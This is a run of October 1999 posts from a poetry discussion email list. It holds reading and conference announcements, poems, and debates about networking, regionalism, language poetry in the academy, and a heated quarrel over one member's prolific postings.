Forthcoming volumes from Tinfish include work by Rob Wilson, Bill Luoma,

and Ida Yoshinaga. (We'll be returning to our more "experimental" format.)

Copies of Kathy Banggo's _4-evaz, Anna_ are still available. Several of

my colleagues have used this book, which includes poems in both standard

and Hawaiian Creole English, in their classes, to good effect (poetry _must_ be taken internally).

Issues of Tinfish are still available, as well. They can be purchased for $5 each or $13 for a subscription to three issues. Tinfish is an entirely self-supporting enterprise (aside from mailing), so your financial, as well as your spiritual, assistance is most welcome.

aloha, Susan

Susan M. Schultz
Associate Professor and Director of Creative Writing
Dept. of English
1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

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435. david bromige
bromige & fodaski at st marks
Thu 28 Oct 1999

This will be an imperfect announcement, as I dont have all the info. But I dont want to delay making it, given the time-lapse on our moderated list.

At the Poetry Project, St Marks Church. next Wednesday, Nov 3, Elizabeth Fodaski and I shall be reading from our own writings. I think we begin at 7:30 p.m. I dont know what the door-charge is.

I look forward to seeing some of you Listmates there.

Thanks for your attention,

David.

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436. Stephen Ellis
Re: elements of business
Thu 28 Oct 1999

While I don't intend to sound either rude or ignorant, the substance of Catherine Daly's post makes me slightly itchy, as if I were allergic to something - but what? Terms like "middle management" and suggestions such as figuring out

'how to stereotype yourself' (albeit this was referred to as "if one were an actor", yet it also applies, I think, here, to "if one were a poet" or, "if one were to be a successful poet") lead me to ask whether poems themselves, as such, are merely tools with which one may enter the systematized world of product marketing, the product most often being the person rather than the poem? It seems very weird that a poem might be thought of as a marketing device, tho perhaps this might help explain the increasing interest in developing new theories and ways to define and effect audience. It's as if a broad field of possibly ardent and definitely un-listening hearers took place in the hopeful imaginations of those who take this 'noisy silence' as permission to continue making what seems very much the equal of dress sheilds for the deaf. Perhaps this is the "government certification" Ms Daly speaks of, being brought under inspection to find out whether one's "okay." But what's that smell wafting gently upwards from the poetic corpus, the gangrenous elation, perhaps, of group agreement preserved in some ledger of "sound financials"? & is there anything in this worth resisting? - S E

> *From: Catherine Daly <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: elements of business*
> *Date: Wed, 27 Oct 1999 11:11:43 -0700*
>
> *What is generally called "business" in fields outside of strict manufacturing,*
> *finance, services, commercial publishing, technology, etc. is generally a mishmash of sales, hr, pr, and "soft" middle management/project management. This*
> *is where networking enters the equation. While 5% (1 in 20) will "buy" anything,*
> *a higher percentage will "buy" from someone they know, a "name they trust", "brand they recognise", etc. Yes, this is true with poetry.*
>
> *Networking involves using skills like "working a room", "keeping a positive mental attitude", or, what I call "kissing frogs". It is convincing people you*
> *don't know, who don't know you, that you have something in common with them, and*
> *that you are a nice person. I'm terrible at it.*
>
> *True networking involves prep work including research about who will be at whatever meeting, from which companies, what you are selling, and what you have*
> *to offer each person. For poetry, it might be knowing who is likely to be at a*
> *given reading, what they do and how they do it, who they do it with, and*

then how
what you do is similar, who you may know in common, how you can introduce
yourself. While it sounds awfully extreme for poetry, it is very common in the
entertainment industry (including theatre), where if you aren't available for
networking, absolutely no one, even at an informal kegger, will talk with you.
Also, people take notes. You see them in their cars after parties or meetings
writing down the names and info for everyone they met.

Jill, it sounds like you are already enmeshed in a secure network, where, since
you are a publisher, people seek you out, and since you are reletively secure,
can express a simpler interest in "what's out there".

Networking is only one of the businesslike practices that some people do
naturally and others don't. Obviously, there is no relationship between quality
of work and networking skill, EXCEPT that in collaborative art forms and on
projects, networking skills can predict personal responsibility/accountability,
team playing, etc. Another businesslike skill is marketing, including niche
marketing and product development (i.e. "style"). How do you write poems? Does
the way that you've written a given poem determine how you'll try to get it
published? Hey, if you were an actor, you'd have to figure out how to stereotype
yourself. Still another is just the mechanics of submitting poems. What about
related jobs? The main use of peforming, teaching, publishing a journal or web
site, writing, publishing, and delivering academic papers, attending conferences,
workshopping, belonging to AWP, MLA, PEN, winning grants isn't generating
REVENUE, it's marketing (putting the stuff on your cv), networking, and
increasing the ability of other publishers/readers to categorize you/find
something they have in common with you. It functions sort of like government
certifications: someone else has inspected your financials and found you're
sound, so you must be ok.

Regards,
Catherine Daly
Certified LA County WBE (Woman-owned Business Enterprise)

[redacted]

Get Your Private, Free Email at http://www.hotmail.com

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437. **Gerald Schwartz**
Re: on regionalism...
Thu 28 Oct 1999

Brent and list:

Has regionalism been annilated by discussion groups? Certainly IDG's have been somewhat successful in breaking down social barriers between central and peripheral poets, thereby increasing the size of the invisible community, the invisible college, if you will.

The significance of these opportunities offered by IDGs for the creation of new contacts or even for collaboration between other poets is underlined by other recent trends in the lists. This was begining to come true even in the old days (circa 1984), when we used early versions of electronic bulletin boards to increase our level of mutual awareness and acquaintance.

The by-product of the IDG's, that interaction, is often initiated because of other reasons. I get information from a colleague about a theme although I originally posted another question. Once the informality begins to happen, this also drives the breakdown of regionalism. The informality is what I think is at work here. Someone asks a question and another member(s) provide an answer. A third member reads the answer and realizes that the author is working on a similar topic and cites relevant literature....

Collaboration is also the breakdown of regionalism: the emergence of collaboration between individuals, while it depends on aspects like their backgrounds...their specific pursuits...has the same effect, especially when the IDG offers possibilities to become aware of potential partners for cooperation and collaboration that can be approached within or outside the IDG. Thus, stimulating a volumne of communication within the IDG you may solve the problem of "planning the consequences of unplanned action in poetic communication", for example.

I want to say that the "regionalism" (and I don't see this as a problem) seems to be formulated in terms of existing approaches, existing theories, schools, if you will.

Creatures like this list offer a simplifying assumption that every actor has full information, which means she knows the shape of the production function and

the amount of resources that was contributed by the other groups members.This commonality, this common standard of comparison for the "costs" of the participants and the value of the collective good, is I believe, another erosional factor.

The only thing I can see that shoots all of this full of holes is that regiona lism is anchored by social contexts, and that there can be no authentic freedom from this embededness. This may lead to our communication taking the form which is somehow less influenced by social control. Status differences play a small role in this, driving the amount of communications, since they are not face to face communication.

Then there's the topic of "fleeing the regionalism" into an IDG. We all have our own goal-chain. Differences in subgoals depend on differences in the constraints that lead to different production functions. For some it may be the attainment of a "poetic reputation", an important driving force. The relevant group for a poet is the poetics list, a community, that is, the other poets who aare doing works in a similar direction. It seems that the crucialmeans for a participant to obtain a poetic reputation is to solve poetic problems and to present his/her competence to this community. Access to information is therefore essential for him. This network of poetic colleagues is important in two respects. It is a pivottal instrument to get relevant information which is necessary to solving poetic dillemas. On the other hand, it is as well the crtical audience for sending valuable information.

This building of significance is how I see the erosion of regionalism.

best, Gerald

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438. Kyle Conner
HIGHWIRE READING
Thu 28 Oct 1999

3PM 3PM 3PM 3PM 3PM 3PM 3PM 3PM 3PM 3PM 3PM 3PM 3PM
****
****

Highwire Reading Series presents>>>>>

M A R K W A L L A C E

A. V. C H R I S T I E

(ooooh...scary

Saturday, Oct. 30, 3PM
<<<<Halloween reading<<<< Come in costume
Highwire Gallery, 139 N. 2nd St.

NOTE: READING IS AT 3PM!! We want to be out later
to soap up the windows &
throw toilet paper in the trees
**bring a festive beverage!!

****

POETS:

MARK WALLACE is a vital participant in the Washington, DC, poetry scene. His SITUATIONS Press publishes books and pamphlets of poetry. He is the curator of the Ruthless Grip Art Project Experimental Poetry Series. His latest book is *SONNETS OF A PENNY-A-LINER* (Buck Downs Books).

A.V. CHRISTIE won the National Poetry Series award for her book *NINE SKIES*. She is poet-in-residence at Villanova University.

****
*

POEMS:

from *SONNETS OF A PENNY-A-LINER*, Mark Wallace

$8.82
My brain is a blank afternoon
at the end of a century of lies,
the hollow thumping is my
blood against fences,
the random flinging of my hands
composes a reason for living
as though I'm painting a hidden sidewalk
only my enemies walk on
until they flower like dancing
which I do in my room all alone
with shadowed lamps and walls that say
this wreck is building the days,
clamor of a dubious underworld
that sings of my defeat

---

from *NINE SKIES*, A.V. Christie

MOTION STUDY

At dusk in the top bunk your plastic squadrons approached. With decal snarls, they hung from the ceiling from invisible threads, dim silhouettes, countless old war movies, the quiet onslaught.

Black Lionel locomotives shone poised on the shelf
--trackless--without the morse of their oily, false smoke.
Your room a secret terminal, the motion beginning.

You studied each constellation stalled on your wall,
the varied wings of your insect collection: moths tidily pinned,
cobalt dragonflies, thoraxes striped like fuses.

Lying on the floor one afternoon, you pulled rubber bands taut, shot down each swaying model airplane. You perfected the whining fall and the throaty sound of their exploding.

All through the evenings your wrenches hurriedly rang
the cement; the car rocked on its blocks as you raced the engine.
Legs forked out on the ground like a divining rod

from beneath your Austin-Healy's shining flank,
you completed the apprenticeship,
saw in the sooted heavens how all along you'd been

greasing the gears of your own departure.

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439. David Baratier
Fwd: for George B.
Thu 28 Oct 1999

AUTHOR FELICE PICANO
Sunday, Nov. 7, 1999
7 pm
William Way Community Center
1315 Spruce Street

The William Way Center's Gay Book Discussion Group hosts guest author Felice Picano at their November meeting.

Picano, author of the new novel The Book of Lies, is a founding member
of the Violet Quill Group, a salon of writers
that met in Manhattan in the late '70s and included Andrew Holleran and Edmund White. Picano is a prodigiously
talented author with over a score of books to his credit, including The
New Joy of Gay Sex, Looking Glass Lives,
Ambidextrous, Like People in History, and the memoir, A House on the

Ocean, A House on the Bay. Please come to
meet the author, check out this new book group, and have some wine and
cheese. Feel free to bring copies of Picano's
books to get signed; books are available at Giovanni's Room or Borders.

Set approximately 10 years in the future, The Book of Lies is a stylish
mystery, a hilarious roman a clef, a witty critique
of academia and literary criticism, and a deft character study of
contemporary artistic life. It is also an affectionate tribute
to Picano's compatriots in the Violet Quill Club, including Edmund
White, Andrew Holleran, Robert Ferro and others
instrumental in the creation of the canon of gay literature. The novel
tells the story of Ross Ohrenstedt, ambitious young
academic in the fashionable field of queer studies, who, in the course
of overseeing the collection of papers and works of
a legendary author, discovers a baffling and provocative manuscript.
His quest to identify its writer and gain prestige and
tenure puts him on the trail of a potential -- unknown -- masterwork
penned by one of a group of writers, some living,
some dead, who in the 1970s and 1980s broke new literary ground. In the
novel, The Purple Circle, as they were
known, have become much revered, oft studied--the foundation upon which
numerous academic careers have been
made. As he did with Like People In History, Picano has created an
intimate exploration of a larger historical
phenomenon, at the same time giving voice to those who lived through a
unique era offering the reader a complex,
credible human narrator as a lens through which to view them.
Advance Praise:

"The Book of Lies is funny, dark, sexy, shocking, and yes, smart. Set
in the near future ('four decades after
Stonewall'), the novel tells of a young scholar trying to make his
academic bones on the literary bodies of the 'Purple
Circle'. Picano skewers the pedagogically pretentious with ease and
wit. The Book of Lies is a wonderful novel, with
some of Picano's best writing." ~ Bay Area Reporter

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440. Mark Prejsnar
Eeeek! Eeek!, or, the heron monkey
Thu 28 Oct 1999

---

i wish the group to have a great deal of cohesion. cooperation is power. crit often divides to conquer, and that breaks down cohesion. perhaps this is the root of my mockery, the distaste for such displays of superiority, as Mark seems to try to display over Alan. I'm a primate and said, "eek! eek! no no! you must be laughed at!" poets are largely disenfranchised, and most are poor unless they find another way to make an income. why not discourage our own from disenfranchising each other?

**********\

This is puzzling and quite, quite bizarre:

my post was merely relating to how others (with whom i guess you align yourself, right?) were displaying all their massive superiority "over" D. Raphael..... as i've said numerous time, there is much that is strong and interesting in Sondheim's work; was gonna back-chan. this, but on 2nd thought it probably should go on the list....

Do you actually read the things you respond to??

mp

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441. Mark Prejsnar
Re: on sondheim, on raphael, on expression (OR, in defense of reading)
Thu 28 Oct 1999

This is puzzling and quite, quite bizarre:

my post was merely relating to how others (with whom i guess you align yourself, right?) were displaying all their massive superiority "over" D. Raphael..... as i've said numerous time, there is much that is strong and interesting in Sondheim's work; was gonna back-chan. this, but on 2nd thought it probably should go on the list....

Do you actually read the things you respond to??

mp

On Mon, 25 Oct 1999, pete spence wrote:

> *From: Taylor Brady <[redacted]>*
> *I largely agree with the (implicit) assertion here that Mark's dismissal of Alan Sondheim's work without benefit of anything close to a reading*

> *constitutes a problem for the kind of reasoned "restraint" or "self-control"*
> *he advocates re: Alan's postings. At the same time, however, the urge to up the ante >:)*
> *Patrick*
>
> *,,seems to me at least sondheim is active is MAKING things and has found a venue to show and tell///pete spence*
>
> ---
> *Get Your Private, Free Email at http://www.hotmail.com*

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442. Lowther, John
Aye Heart Networking
Thu 28 Oct 1999

{ p o e t i x }

jill, catherine, others

jill you wrote;

> i find the term "networking" to be problematic, and it was used in a list
> posting that i read and have unfortunately deleted so cannot reference,
> and my networking post was intended to be a discussion and exploration of
> that term and its unclear nature, and some of the additionally unclear
> issues it raises. "networking" is used as if it is a "bad" word (or a "bad
> word"), but really, isn't it intended as a term to mean talking to people
> who are interested in what you're interested in?
>

yeah, it's used that way
and also used in the more
specific way that catherine
outlined in her post today
saying;

Networking involves using skills like "working a room", "keeping a positive mental attitude", or, what I call "kissing frogs". It is convincing people you don't know, who don't know you, that you have something in common with them, and that you are a nice person.(...) True networking involves prep work including research about who will be at whatever meeting, from which companies, what you are selling, and what you have to offer each person.

> and it bears mentioning
> that it was i
> who posted the bit
> about networking, i wrote;

i'm reminded of something someone told me about going to a reading and the young poet who was reading that night marched up introduced themself to everyone and was later heard to say "I LOVE NETWORKING!" ---- is that the same sort of "business" ?

> and the just ref'd "business" in that post
> was the thought of how getting published
> in various ways might
> "open doors" for oneself etc
>
> that is i was thinking not of monetray things
> but how one get's known, seen etc

now the person that told me the I LOVE NETWORKING story, i think, felt that there was something questionable in the way this was approached as if the statement had been I LOVE SCHMOOZING ---- or to cite a current commercial i find amusing where all these little kids are talking about what they want to grown up to be "i want to have brown nose"

> >> >>>tangent: that commercial is trying to sell me something right ? why have i absolutely no idea what after having seen it a bunch of times ?

but, to continue ---- when this i heart networking story was related to me i wasnt so sure that i knew what was meant or whether there was anything at all to be suspicious of ---- hell, my first trip to LA, i was there very briefly and didnt know anybody really so what did i do ? i made a lunch date with marjorie perloff and hung out with douglas messerli at sun & moon had drinks met guy bennett etc ---- managed to track down the elusive standard schaefer and then it was time to go

was i networking ? i'm sure that suspicion has been born in hearts of some ---- i guess i'd rather think i was meeting people, making friends even

anyway

)ohn

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443. Hilton Manfred Obenzinger

Re: Bye

Thu 28 Oct 1999

Alan,

Why are you quiting when most of the responses (at least publicly) have been supportive? What if someone doesn't like your work? Much of what you put on line does not interest me, but I've grown fond of searching for the moments that I like -- and I'll defend your right to the death to splurge. Complaining and composing should be second nature by now. No one, complainer or composer, should be demonized -- and I hope no one's distracted from their chosen obsessions. In fact, it's amazing that you've been posting as long as you have without someone taking issue with your work sooner. Consider it a compliment.

Hilton Obenzinger

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444. Joel M Bettridge
New dates for Ronald Johnson Conference
Thu 28 Oct 1999

Do to conflicts, the Ronald Johnson Conference, __Eye, Ear, & Mind: A Conference on the Poetry of Ronald Johnson__ previously set for April 21st & 22end, is now going to take place March 17th & 18th (2000). It is still here at SUNY Buffalo, but the call for papers deadline is now December 1st. Please feel free to contact me with any questions. Also, please forward this message to other lists or people that might want to know.

thanks,

Joel Bettridge

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445. Patrick Herron
Re: Eeeek! Eeek!, or, the heron monkey
Thu 28 Oct 1999

(first of all some kind people have asked that these primal displays need to stop, because they are wasting people's time. they should just be continued backchannel if they do need to continue. but first, before i go, a letter from the editor, and a word from our sponsor:)

> *Do you actually read the things you respond to??*

not any less than you when you are at your apex of comprehension, it appears. an added bonus for me: i can read my own posts, too!

hmm. let's see now, Mark. (trying to use the war metaphor, to enhance communication with you) if i remember rightly, you insulted Alan's writing in your attempt to defend insults coming from Raphael and you attacked people who were defending alan for being creative and sharing, and also people who are

trying to keep people on the list from becoming overly self-conscious when posting.

you seem so insistent to play war games, alignments, schools, etc. i ALIGN myself with, well, NOT aligning with people who align AGAINST creative expression, if we must stick to your divisive vocabulary. musicians poets artists people with umbilicals to something greater than flesh and selves. based on the evidence i don't expect you to understand that. if you do, great.

primates are not monkeys. oops! nice attempt at humor, though.

your least favorite simian,
Patrick "eek-a-sponsor" Herron

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446. Pritchett,Patrick
Will Alexander
Thu 28 Oct 1999

I'd appreciate it if someone could tell me who has published Will Alexander's latest books, _Above the Human Nerve Domain_ and _Stratospheric Canticles_, as I think it's called.

Plase backchannel -- thanks.

Patrick Pritchett
[redacted]

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447. Todd Baron /*/ ReMap Readers
Re: Bye
Thu 28 Oct 1999

Alan Sondheim wrote:
>
> I think Todd Baron did it for me - "up to five long poems a day." I've
> never sent that much out to any list and most of my work isn't partic-
> ularly long.
>

interestingly blind. sometimes i read 'em and like 'em.
but geez, they are long. is that relative. i spose.
but i get fifty mails a day each and every day. I know some
very interesting folks who have unsubed this list because of the amount

of
mail each day they can't read. this includes poems --;lots of them.
or am I naive? those long e-mails with the scattered syntax. I guess
they're not poetry! wow!

phew!

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448. Todd Baron /*/ ReMap Readers
academic query?and why?
Thu 28 Oct 1999

---

question:

the first "american" poem?
(of the united states)
would be?

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449. Lowther, John
I AM NOT SHOUTING
Thu 28 Oct 1999

{ P O E T I X }

FOR PATRICK HERRON AND THIS WHOLE MESS

PATRICK WROTE, IN NOT ~QUITE~ THIS WAY;

obviously i am a low brow cretin

who resorts to more

> old fashioned everyday common man
techniques, which
> seems to you
unworthy of deployment

> in such a group as this. perhaps
>
> this group has been at this point before. sorry
>
for
rattling skeletons.

> the sound of bone on bone admittedly is
> chilling.
>

>
THERE IS A NAME FOR THIS SOMEPLACE IN RHETORIC I'VE LONG SINCE FORGOTTEN BUT
THE RIFF WHEREIN YOU START BY DENIGRATING YRSELF THUS IMPUTING THAT
JUDGEMENT TO THE PERSON YOU ADDRESS
(i am not shouting, i am
speaking at normal volume,
not even typing hard
on my keyboard)
I THINK IT'S PRETTY WELL DONE ACTUALLY INSINUATING THE "YOU THINK YR ABOVE
ME/ TOO GOOD FOR ME" VIBE AND WAVING VAGUELY, INDETERMINATELY IN THE
DIRECTION OF "THIS POINT" A PROBLEM THE SPEAKER SEES OBVIOUSLY AS RECURRENT
ON THIS LIST AND IT CLOSES WITH A BIT OF POESY IN HIGH TONE "BONE ON BONE"
ETC

restraint is not exactly
a "correct" means of discourse,
and I hope poets
and those who love poetry
know that.

> restraint is one of many means.
>
having a sense of humor helps.

i know for sure more than a few people laughed.

I'VE NOT HEARD ANYONE LAUGHING (i am not shouting) ---- WHEN IS MOCKERY, WHEN IS PROMPTING SOMEONE, EVEN EXPECTING SOMEONE TO SAY "why did you say something so low to me in public" NOT THAT DIFFERENT FROM "STEPPING ON SOMEBODY'S HEAD" ????

in my experience
people step on another person's head
to gain something.

WHAT HAS BEEN GAINED ?

(HENCEFORTH I WILL BE SHOUTING IN LOWER CASE)

patrick, yr correct that restraint or reasonableness have no privileged position as rhetorical means or as means of any kind, as perhaps "rhetorical" isnt that

useful in this context ---- but as i think you might agree, there are better and worse ways of moving forward

you say that you bear mark and taylor no ill will and i'll take you at yr word on that, i do not doubt it ---- but let me say that i think yr choice of mockery as response, whether a hold over from more primal human responses or not (THAT'S MEANT TO BE SORTA FUNNY SOUNDIN') does, to me, seem particularly useful ---- yr entitled to yr response of course, i don't mean to squelch that but i do have questions about the contour of this whole business; you feel mark stepped on alan's head and taylor was stepping on yrs but saying he wasnt and it looks to me like yr stepping too, on foot on each (AUDIO CUE; TARZAN ROAR) and i'd like to say

> that i have just
> stomped yrs into putty
> with my display of
> ~reasonableness~
> and i'm doing this to gain something

(the right to lay my head on the next stair ....?)

↑ Index

450. **Nielsen, Aldon**
Re: poetry audience/s
Thu 28 Oct 1999

> *no one to impress or hustle, none to address, only Being & Nothingness,*

no one to drive the car

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451. **Nielsen, Aldon**
Re: language poetry and the academy
Thu 28 Oct 1999

Yes, there's no doubt that the position of language poetry within the academy is changing, as is my own. Standpoint theory taught us what we already knew. To the 80% of professors (such as my not-so-humble self) who teach well outside the gravitational pull of the stellar research universities, the thought that anyone might think that writing on language poetry was a way to advance one's career is, well, nearly unthinkable -- There are people who have good careers and who write about language poetry -- but few of them GOT HIRED in the first place because of writing on LP -- and few will get recruited to a better job because they do -- BUT, as Mark says, that's all changing -- what has always been

particularly strange about the discussion with regard to LP and the academy is that the charge that LPs wrote "that way" to appeal to theory-ridden academic critics or to get academic positions preceded the actuality of any of this happening by more than a decade -- perhaps those people I heard complaining along these lines back in '82 or so were simply far more prescient than I am --

But yes, there are now anthologies from major presses with academic sales -- there are now dissertations being written, books accomplished, imitators wrestling with the resistance of their fellows in their creative writing workshops -- all the signs of a significant coterie success --

but none of that is WHY anybody wrote the poetry or WHY any critic chose to write about it

(nor is this, any longer, a response to Mark W., whose fine Christmas poem is something everybody should read for the sheer pleasure of reading)

poetry is a criticism of life, wrote some regrettably Victorian fellow --

Poetry will continue to act as critique no matter what anybody in the academy does to it --

Discussion of WHY we think SOME LP has been taken up by some FEW academics needs to be carefully distinguished from other activities, like reading the poems -- At the same time, each of us reads always from some ideological WHERE, though it's more an arc of motion than a site, and anatomizing that arc is part of any truly critical reading

Professor Beach was last seen teaching at the University of California at Irvine,a very good job indeed -- Anyone taken a glance lately at the list of poets who teach at Irvine?

In his introduction to ARTIFICE AND INDETERMINACY, Beach reminds readers of Alan Golding's comments on the "provisionally complicit resistance" of LP. I think Alan's phrase may be the most apt descriptor of the present moment of LP within the academy --

Alan's phrase is also a nearly perfect description of the attitude with which one enters the reading of a new poem -- much more accurate than "willful suspension of disbelief," I believe.

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452. **Patrick Herron**

Re: I AM NOT SHOUTING (yes you are)

Thu 28 Oct 1999

> *FOR PATRICK HERRON AND THIS WHOLE MESS*

so now it's my fault. hmm. ok, whatever makes you feel better.

Actually using all caps _is_ textual shouting in the internet culture. it is a fairly common convention. but, as you must, as you must.

> *I THINK IT'S PRETTY WELL DONE ACTUALLY*

Thank you, John.

> *WHEN IS MOCKERY, WHEN IS PROMPTING SOMEONE, EVEN EXPECTING SOMEONE TO SAY*
> *"why did you say something so low to me in public" NOT THAT DIFFERENT FROM "STEPPING ON SOMEBODY'S HEAD" ????*

Actually to this mortal sin i have already confessed, i did, i did!

> *WHAT HAS BEEN GAINED ?*

Probably nothing. The motives don't always necessitate their desired outcomes, with which I am sure we are all familiar.

> *(HENCEFORTH I WILL BE SHOUTING IN LOWER CASE)*

Taylor, I bear no ill will AT ALL. One sentence came off completely wrong in my reply to him. Mark, i tossed jokes like feces at his expense (yes, i was stepping on his head, but with a clown shoe, not an iron tipped boot) when he bears ill-will toward those who use their creative abilities. Otherwise, no ill will to Mark either. can this end? i think people are missing the point and playing wargames here. this is POETRY not WAR. (that was shouting).

> *you feel mark stepped on alan's head and taylor was stepping on yrs but saying he wasnt*

and i added that i was stepping too. ain't no half-steppin'.

> *(AUDIO CUE; TARZAN ROAR) and i'd like to say*

getting funnier, with a little use of irony!

    >that i have just
     stomped yrs into putty
    with my display of
     ~reasonableness~
    and i'm doing this to gain something

much better, and sadly much worse. you seem to insinuate physical violence on me with this "stomping yrs into putty" stuff, which scares me a little, frankly. stepping on someone's head is an expression to denote that someone insults or denigrates another person just to impress or gain the favor of another person. "stomping into putty" is perhaps not quite the same thing. i like the audio cue of tarzan, that's funny. but i don't like to think of someone crushing my skull and its contents "into putty." i find nothing humorous about that, and if you do, you

clearly need help. i really can take humor, but not potential threats of violence. i really doubt you are a violent person, John, but then I have little knowledge of who you are and probably wouldn't take such a violence-laden statement so well from even my best friends. who can rib me pretty awully but not make it gory.

AND can we keep the harassment offline for the rest of this? Alan is gone. Other poets probably feel reluctant to post anything creative. this has sunk lower than even Raphael's original post (or, from your perspective, even lower than my reply to mark). victory is yours.

Patrick

_____
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453. **Bob Grumman**
Re: language poetry and the academy
Thu 28 Oct 1999

I was the one who first called language poetry "acadominant," and I still think I was right to do so in the sense that language poetry is THE poetry of prestige among academics.

As for Beach, I know nothing about him, but I strongly suspect he's never given as much as a nod toward visual poetry (except whatever he thinks he's found of it in language poetry).

--Bob G.

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454. **Billy Little**
Re: Lest I remember
Thu 28 Oct 1999

As often, i wholeheartedly agree with Kent, Alan S is producing a singular, unique and monumental work and i've seen very little work as strange and ex-hilirating as his maybe since Charles Olson, if there's two pieces a day or twenty pieces a day I'm happy to see it. The same is true for Lyn Miller and Kevin Magee, let's have more and Patrick Herron was sending some really new work there for a few days, i hope they weren't parodies, he's found a vein worth mining.

forbidden plateau fallen body dojo
4 song st.

nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

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455. Maria Damon
Symposium: Poetry as Cultural Critique
Thu 28 Oct 1999

Please distribute widely to friends, colleagues, acquaintances and relatives:

Symposium: Poetry as Cultural Critique
November 5-6, 1999
Sponsored by University of Minnesota (Department of English, Program in Creative Writing, the Humantities Institute, and the College of Liberal Arts), Xcp: Cross-Cultural Poetics, & Borders Bookstore (Uptown)
co-directors, Maria Damon and Mark Nowak

Friday, November 5th:

1:30pm, Introductory Remarks by Maria Damon

2:00-3:00pm, Opening Talk
Tim Brennan, "The Obscure Reveries of the Inward Gaze"

3:15-4:45pm, Opening Roundtable on "Poetry as Cultural Critique"
Panelists: Harryette Mullen, Tim Brennan, C.S. Giscombe
Moderator: Maria Damon

7:30pm, Reading at Border's Uptown
Introductions, Mark Nowak
Readers: Roy Miki, Harryette Mullen

Saturday, November 6th

10:00am-11:30am, Talks
Juliana Spahr, "'I'm Dracula': Bruce Andrews's 'Confidence Trick'"
Harryette Mullen, "Incessant Elusives: The Oppositional Poetry of Will Alexander and Erica Hunt"

1:00pm-2:30pm, Talks
Roy Miki, "Unravelling Roy Kiyooka: A Re-assessment Amidst Shifting Boundaries"
C. S. Giscombe, "ReCrossing the Prairie State"

3:00pm-4:30pm, Roundtable on "Journals: The Poetics and Politics of Editorship"
Panelists: Juliana Spahr, Roy Miki, Mark Nowak
Moderator: Eric Lorberer (Rain Taxi Review of Books)

7:30pm, Reading at Border's Uptown
Introductions, Mark Nowak
Readers: Tim Brennan, Juliana Spahr, C.S. Giscombe

Major FUnding for this event has been provided by the McKnight Endowment for the Arts and Humanities

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456. David Kirschenbaum
Instead of networking use ...
Thu 28 Oct 1999

Jill- As for your problem with the term networking, Abbie Hoffman once told me, "Kid, the bad guys network, we link."

as ever,
David Kirschenbaum, editor
Booglit

_____ Get FREE voicemail, fax and email at http://voicemail.excite.com Talk online at http://voicechat.excite.com

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457. pete spence
Re: Ghazal
Thu 28 Oct 1999

> *See "The Ghazal in America: May I" by Agha Shahid Ali, in _After New Formalism: Poets on Form, Narrative, and Tradition_, ed. Annie Finch (Story Line Press, 1999), pp. 123-132.*
>
> *Cheers,*
> *David*
> *~~~

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458. **pete spence**
Re: sticks and bones
Thu 28 Oct 1999

> > *sticks break bones. Symbols, I guess, don't.*
>
> *Well, take TWO sticks, cross them at right angles, and you have something suitable for a crucifixion. Next, you have The Cross, a symbol. How many bones have been broken in the name of The Cross? Even more than have been broken in the name of The Koran, probably.*
>
> *David*

in memory of the Laughing Gnostics and other bods persecuted by dominant religions//pete spence

---

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459. **Tom Beckett**
Re: poetry audience/s
Thu 28 Oct 1999

Miekal,

Cyberspace

is great

but only

inexpensive

if you can

afford access

to it.

I think yr

assumptions

are loaded

and wrong.

Tom Beckett

↑ Index

460. **pete spence**
Re: on regionalism...
Thu 28 Oct 1999

> *the concept that one could create something/anything divorced from their surrounding is an enviable dictum,*
>
> *but it is hard to imagine unless you think about isolation chambers & float tanks.*
>
> *Im a dyed-in-cheese regionalist, infact a bioregionalist, in fact living in the heart of the driftless bioregion, the largest unglaciated spot in the northern hemisphere. no apologies for my writing & art being located in the place I live.*
>
> *mIEKAL aND, dreamtime village, usa*

,,,,Oh come on M A the world is a shrinking oyster,, pete

_____
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461. **Maria Damon**
Re: bye
Thu 28 Oct 1999

---

it's a sad day when alan s feels he needs to drop off the list...

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462. **Billy Little**
Re: regionalism
Thu 28 Oct 1999

---

dan always have difficulty with poets who imagine they're advancing their work by slagging masters with a different poetics. Stafford's no hillbilly, he's an amerkan, he's a poet of soul, he may express sentiments but he's not sentimental and he connects with millions. maybe if you wrote one poem as good as the

hundreds of stafford's that have touched me deeply, it might sound less like sour grapes. do the work, you don't make yourself look better by trying to make others look worse.

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

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463. Toni Simon and Nick Piombino
Wallace on Beach
Thu 28 Oct 1999

I'm grateful to Jerrold Shiroma for mentioning Myung Mi Kim. Her book "Dura" (Sun and Moon, 1998) along with Christopher Reiner's "Ogling Anchor" (Avec, 1998) and Guy Bennett's "Last Words" (Sun and Moon,1998) should not be overlooked in the rush of that overly eventful year's quick fading into the millenium.

Sorry I haven't had more time to contribute to this list of late which I have been enjoying whenever possible as an appreciative lurker.

And hang in there Alan Sondheim. We need you!

Best wishes,
Nick

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464. Dirk Rowntree
blow them off
Thu 28 Oct 1999

I will presume Dan Raphael can be taken at his word. He states, in a response to the open channel support for Sondheim that “Maybe i should have back channeled to sondheim asking him about his work.” Fine, a slip of the e-tongue. Could happen to anybody. Forgive and forget.

It isn't difficult, but never easy enough, to understand that people can be very discouraged by public statements of disregard. Again, let's take Raphael’s plea that he is not in favor of censorship. The fact is that disrespectful, dismissive to insulting comments in public, although not censorious, can throw a charge into air. A charge that can make some people feel unwelcome.

I welcome and admire Alan's postings. I appeal to Alan to understand that his posts are valued by a good number of people on the list, ignored by some and disliked by others.

I have a folder in which I save posts that think are important. Sondheim’s stuff accounts for about 70 per cent of the folder. The criticisms of Sondheim’s work that I have read on the list have been trite, shallow and irrelevant. The idea that this type of thinking can set a standard for the character and content of what comes at me through the list angers me. The list provides fleeting glimpses of

Alan, please don't go off the list because your work has drawn negative flack in public or back channel posts. Maybe you've had more overt attacks on your work on back channel. It's probably harder than I think but, try to blow these turkeys off and continue your work on the list.

Dirk Rowntree

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465. **Brendan Lorber**

THERE'S NO VEMBER LIKE NOVEMBER AT THE ZINC BAR

Fri 29 Oct 1999

Make it a november to remember over at the ZINC BAR SUNDAY NIGHT READING SERIES this upcoming month. It's cut short by Thanksgiving, so we've compressed four weeks of quality into only three readings. How do we do it? A keen ear & our obsessive compulsion.

Here's who's here next:

